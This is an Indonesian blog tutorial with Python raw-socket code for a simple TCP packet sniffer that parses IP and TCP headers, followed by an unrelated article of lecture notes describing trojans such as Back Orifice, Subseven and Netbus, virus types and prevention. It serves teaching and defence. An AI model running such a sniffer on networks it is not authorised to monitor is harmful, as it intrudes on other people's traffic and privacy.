jimmyromanticdevil@jimmyromanticdevil:~/privatecodejimmy$ sudo python sockettutor1.py [sudo] password for jimmyromanticdevil: ('E\x00\x004\xf3\xe9@\x00:\x06iJE\xab\xf2\'x\xa63\x17\x00P\xdfLE%KP\xb3\xd1\xaf"\x80\x10\x82 S\xfc\x00\x00\x01\x01\x08\nA\x84\xean\x00A\xbd\xd5', ('69.171.242.39', 0)) ("E\x00\x004\xf3\xea@\x00:\x06iIE\xab\xf2'x\xa63\x17\x00P\xdfLE%KP\xb3\xd1\xb4\x8e\x80\x10\x82 N`\x00\x00\x01\x01\x08\nA\x84\xea\x80\x00A\xbd\xf3", ('69.171.242.39', 0)) ('E\x00\x004\xf3\xeb@\x00:\x06iHE\xab\xf2\'x\xa63\x17\x00P\xdfLE%KP\xb3\xd1\xb9\xfa\x80\x10\x82 H\xb3\x00\x00\x01\x01\x08\nA\x84\xea\x92\x00A\xbe"', ('69.171.242.39', 0)) ('E\x00\x004\xf3\xec@\x00:\x06iGE\xab\xf2\'x\xa63\x17\x00P\xdfLE%KP\xb3\xd1\xbff\x80\x10\x82 C5\x00\x00\x01\x01\x08\nA\x84\xea\xa4\x00A\xbe"', ('69.171.242.39', 0)) ("E\x00\x004\xf3\xed@\x00:\x06iFE\xab\xf2'x\xa63\x17\x00P\xdfLE%KP\xb3\xd1\xc4\xd2\x80\x10\x82 =\x8a\x00\x00\x01\x01\x08\nA\x84\xea\xb8\x00A\xbeM", ('69.171.242.39', 0)) ^Z [1]+ Stopped sudo python sockettutor1.py |
Seperti kita lihat dalam output Di atas mendump dari network paket dalam bentuk hex.output di atas dapat diurai menggunakan fungsi unpack.
Berikut adalah kode untuk mengurai sebuah paket TCP:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
#Simple Packet sniffer by jimmromanticdevil import socket import sys from struct import * import string
def proses2(packet,ihl): tcp_header = packet[20:40] #unpack data untuk mendapatkan tcp header:) tcph = unpack('!HHLLBBHHH' , tcp_header) source_port = tcph[0] dest_port = tcph[1] sequence = tcph[2] acknowledgement = tcph[3] doff_reserved = tcph[4] tcph_length = doff_reserved >> 4 print """ Source Port : %s Dest Port : %s Sequence Number : %s Acknowledgement : %s TCP header length : %s """%(str(source_port),str(dest_port),str(sequence),str(acknowledgement),str(tcph_length)) #dapatkan data dari packet, print 'Data : \n' + packet
def proses1(socket_setup): packet = socket_setup.recvfrom(65565) #packet string dari tuple packet = packet[0] #ambil 20 karakter untuk ip header ip_header = packet[0:20] #unpacket
data untuk mendapatkan ip <img draggable="false"
class="emoji" alt=" iph = unpack('!BBHHHBBH4s4s' , ip_header) version_ihl = iph[0] version = version_ihl >> 4 ihl = version_ihl & 0xF ttl = iph[5] protocol = iph[6] s_addr = socket.inet_ntoa(iph[8]); d_addr = socket.inet_ntoa(iph[9]); print """ Version : %s IP Header Length : %s TTL : %s Protocol : %s Source Address : %s Destination Address : %s """%(str(version),str(ihl),str(ttl),str(protocol),str(s_addr),str(d_addr)) proses2(packet,ihl) # --> lempar data ke proses2
#create an INET, STREAMing socket,type protocol tcp dan lempar data ke proses1 def main(): socket_setup = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # dapatkan packet while True: try: proses1(socket_setup) except Exception ,er: print er sys.exit() break
if __name__ == "__main__": main() |
dan Jalankan sebagai root privileges atau sudo di ubuntu
sudo python simplesniffer.py
Kode
di atas memecah paket header IP + header TCP + data.
Fungsi unpack digunakan untuk memecah paket.supaya dapat di baca dengan mudah.
dan untuk unpack bentuk dari tcp_header !HHLLBBHHH sendiri dn selanjutnya saya
dapatkan dari
#http://yuba.stanford.edu/git/gitweb.cgi?p=oftest.git;a=commitdiff;h=6c1ed0944beb5e90973f89179e0901b30f85f331.
Output dari kode akan terlihat seperti ini:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
jimmyromanticdevil@jimmyromanticdevil:~/privatecodejimmy$ sudo python sockettutor2.py Version : 4 IP Header Length : 5 TTL : 58 Protocol : 6 Source Address : 69.171.227.36 Destination Address : 120.165.18.50
Source Port : 80 Dest Port : 50431 Sequence Number : 1753967047 Acknowledgement : 2095505802 TCP header length : 8
Data : E �&>@: b�E��$x� 2P��h�i�|�ኀ� Lx A�]��Y�HTTP/1.1 200 OK Content-Encoding: gzip Content-Length: 730 Content-Type: text/plain Access-Control-Allow-Origin: http://www.facebook.com Access-Control-Allow-Credentials: true Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Tue, 06 Dec 2011 15:42:28 GMT Via: HTTP/1.1 Proxygen (35) Connection: keep-alive
...... [4]+ Stopped sudo python sockettutor2.py |
Masih
banyak data yang belum bisa di uray seperti contoh data di atas :
E��
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
Jika IHL adalah 5 maka ukuran total 20 byte maka options+padding.
Untuk paket protokol TCP adalah 6. Alamat sumber adalah sumber alamat IPv4
dalam format panjang.
Di sini saya mengunakan teori Menurut RFC 791
[http://www.networksorcery.com/enp/rfc/rfc791.txt]
header IP terlihat seperti ini:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |
dan balance setelah TCP header adalah data portion.
sedikit tambahan bahwa :
1. Sniffer di atas hanya akan mengambil paket TCP, karena deklarasi:
|
1 |
socket_setup = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) |
Untuk UDP dan ICMP deklarasi harus:
|
1 2 |
socket_setup = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP) socket_setup = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) |
kalian mungkin tergoda untuk berpikir untuk melakukan:
socket_setup = socket.socket (socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_IP)
tapi ini tidak akan bekerja, karena IPPROTO_IP adalah protokol bodoh bukan yang
asli.
2. Sniffer ini mengambil paket-paket yang masuk.
3. Sniffer ini hanya memberikan frame IP, yang berarti ethernet header tidak
tersedia.
Wah masih sangat2 simple yah .. bagaimana kalau kita mengedit
sedikit code supaya lebih powerfull .. ?
ok lets do it
on next artikel.lol
artikel selanjutnya saya akan menjelaskan bagaimana cara membuat ‘network
packet sniffer di python dengan mengunakan library yang powerfull seperti
scapy,pycapy,libpcap’ ok sekian artikel/tutorial dari saya selanjutnya silahkan
kalian explore sendiri . semogah bermanfaat.
jangan lupa jika ada pertnyaan silahkan tinggalkan komentar di bawah.
Special
thanks to my refrensi :
Wikipedia :
~ http://id.wikipedia.org/wiki/Protokol_Internet
~ http://en.wikipedia.org/wiki/Network_packet
python lib dokumentasi http://docs.python.org/library/socket.html
about sniffer : http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/Sniffers/index.html
ip header struc http://www.networksorcery.com/enp/protocol/ip.htm
format string : http://docs.python.org/library/struct.html#format-characters
5ynl0rd,Ardhe defourteens aka hardiknas,Kiddies,Ahmad asto,all my
broth n sistr in DCC,indonesianbacktrack team,Tecon-Crew Labs,all my friend
& You….
~ Author articel & source code by rahmat ramadhan aka
jimmyromanticdevil(python software engineer from void-labs developer team)
ARTIKEL MOLICIUOS CODE
Malicious Code
Pengertian malicious code :
Sekumpulan perintah-perintah yang bisa mengeksekusi suatu sistem untuk mendapatkan sesuatu yang diinginkan oleh pembuatnya. Contohnya : Trojan horses, Virus, worm dll
Aspek-aspek utama perkembangan malicious code :
· Politik
Tidak adanya kepastian undang-untuk bagi pelaku.
· Ekonomi
Mendatangkan kerugian yang sangat besar bagi korban dan keuntungan yang sangat tinggi bagi perusahaan antivirus.
· Sosial budaya
Perbuatan merusak yang banyak disenangi.
· Perkembangan teknologi komputer
Merupakan dampak negatif dari perkembangan teknologi, misalnya internet.
Trojan Horse
Merupakan suatu program yang disisipkan tanpa sepengetahuan si pemilik komputer, kemudian aktif dan komputer target dapat dikendalikan dari jarak jauh. 3 (tiga) trojan horse yang sangat terkenal :
· Back Orifice
· Netbus
· Subseven
Dampak dari trojan horse secara umum:
· Menghapus file
· Download file
· Delete file
· Mencuri file atau password
· Log keystroke
· Menonaktifkan keyboard, mouse, atau periperal lain
· Mengubah nama file
· Shut down atau reboot
· Menjalankan aplikasi yang diinginkan oleh hacker
· Disable antivirus atau keamanan komputer lainnya
· Menggunakan komputer korban sebagai jembatan untuk melakukan kejahatan ke komputer lainnya.
Kemampuan Trojan Horse
Back Orifice (BO)
Merupakan trojan horse untuk sistem yang menggunakan OS Windows (95, 98, NT, 2000).
Komponen BO :
a. Komponen server
Dipasang atau disisipkan pada komputer target.
b. Komponen client
c. Yang digunakan untuk mengendalikan server.
Mendeteksi BO :
a. Gunakan program “REGEDIT” dan cari :
KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
b. Cari file space-dot-exe
Lihat di direktori windows\system. Ukuran file sama atau lebih dari 122KB.
Subseven (Dibuat oleh Mobman)
Merupakan trojan jenis remote controlling / remote access (Client server).
Komponen dasarnya :
c. Komponen server
Berjalan pada komputer server dengan nama file “server.exe”
d. Komponen client
Berjalan pada komputer penyerang, dengan nama file subseven.exe
Kemampuan Subseven diantaranya :
• Remote IP Scanner
• Mendapatkan CD-Key Windows
• Menukar Port Number
• Membuat folder, delete folder
• Restart server & restart windows
• Yahoo Messanger Spy
• Menukar aplikasi yang sedang running
• Mendapatkan lokasi rumah korban
3. Netbus (dibuat oleh Carl Fredrik Neikter)
Digunakan untuk mengelola komputer Windows 95/98/NT dari jarak jauh.
Komponen Netbus :
• Komponen server, bernama patch.exe
• Komponen client
Mendeteksi Netbus :
a. Gunakan program “REGEDIT” dan cari :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Komunikasi dengan komputer target menggunakan TCP\IP.
Menghindari serangan Netbus :
• Busjacker
• F-Secure
Kemampuan Netbus diantaranya :
• Membuka & menutup CD-Rom
• Menampilkan gambar
• Menukar tombol pada mouse
• Shutdown system
• Upload file dari komputer target
Cara-cara yang lazim digunakan :
· Tersembunyi dan dikirim melalui e-mail
· Setelah menyerang komputer target, lalu mengirimkan pesan tertentu ke sipembuatnya
· Sewaktu melakukan penyerangan, memiliki kemampuan untuk men nonaktifkan anvirus
· Komputer target dapat dikendalikan dalam jarak jauh
Virus Komputer
Merupakan suatu rutin program yang menempel dan menjadi bagian dari rutin program lainnya, serta dapat memperbanyak dirinya sendiri.
Kriteria virus :
1. Memiliki kemampuan untuk mendapatkan informasi
2. Kemampuan untuk memeriksa suatu program
3. Kemampuan untuk menggandakan diri
4. Kemampuan untuk manipulasi
5. Kemampuan untuk menyembunyikan diri
4 (empat) fase siklus hidup virus :
1. Fase tidur (dormant phase)
2. Fase propaganda (propagation phase)
3. Fase pemicu (triggering phase)
4. Fase eksekusi (execution phase)
Tipe-tipe virus :
1. Virus boot sector
2. Virus file
3. Executable infector virus
4. Virus macro
Struktur virus macro :
1. Rutinitas penanda
2. Rutinitas penggandaan diri
3. Rutinitas pertahanan dan penjebolan
4. Rutinitas pemicu
5. Rutinitas manipulasi
6. Virus stealth
7. Multi partition virus
8. Polymorphic virus
9. Hoaxes virus
10. Encrypted virus
Media penyebaran virus :
1. Web/situs yang diakses
2. Software bajakan
3. Download file
4. File-file network
5. File swaping
6. Software demo
7. Lab komputer
Mencegah penyebaran virus :
1. Membuat orang memahami resikonya
2. Install program antivirus & update
3. Gunakan firewall
4. Back up data secara reguler